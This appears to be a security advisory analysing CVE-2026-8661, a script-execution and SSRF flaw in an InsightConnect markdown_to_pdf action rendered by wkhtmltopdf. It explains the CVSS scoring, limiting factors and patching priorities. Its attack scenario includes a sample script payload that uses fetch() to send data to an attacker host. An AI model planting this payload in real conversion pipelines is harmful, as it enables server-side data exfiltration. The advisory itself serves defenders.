InsightConnect Markdown Plugin CVE-2026-8661

The markdown_to_pdf action must be invoked with attacker-controlled or untrusted markdown content. Exploitation requires the markdown to contain or reference JavaScript payloads that survive the markdown parser and are evaluated by the underlying PDF rendering engine (wkhtmltopdf). The containerized environment must permit outbound network access for SSRF requests to reach external targets (a common default). Limiting factors: AC:H indicates that not all markdown syntax reliably triggers execution-payload formatting is sensitive to parser behavior and renderer quirks; markdown-to-HTML translation may strip or escape certain HTML constructs; outbound requests are constrained by container network policies if configured restrictively; interaction with the markdown_to_pdf action itself may require some level of platform access, depending on workflow exposure.

The moderate CVSS score (4.8) reflects network accessibility (AV:N) but high attack complexity (AC:H), indicating non-trivial exploitation conditions-likely requiring specific markdown syntax or rendering quirks to trigger. The limited impact scope (C:L, I:L, A:N) restricts real-world harm to confidentiality and integrity within the PDF rendering context, not system-wide compromise. No active exploitation confirmed in CISA KEV at time of analysis; no public POC identified. Defenders should prioritize patching environments where InsightConnect workflows accept untrusted markdown input. In isolated automation-only settings with trusted markdown sources, risk is substantially lower. The AC:H rating is a critical limiting factor-not all markdown payloads succeed; only those carefully crafted to survive the rendering pipeline trigger exploitation.

An attacker with network access to an InsightConnect workflow submits a markdown document containing embedded JavaScript (e.g., <script>fetch('http://attacker.com/steal?data=')</script> or CSS resource references to external servers). When the markdown_to_pdf action processes the input, the PDF rendering engine executes the script in the server context, exfiltrating data via HTTP callbacks or making requests to attacker-controlled infrastructure. High attack complexity indicates payload crafting requires knowledge of wkhtmltopdf rendering behavior and markdown-to-HTML conversion specifics.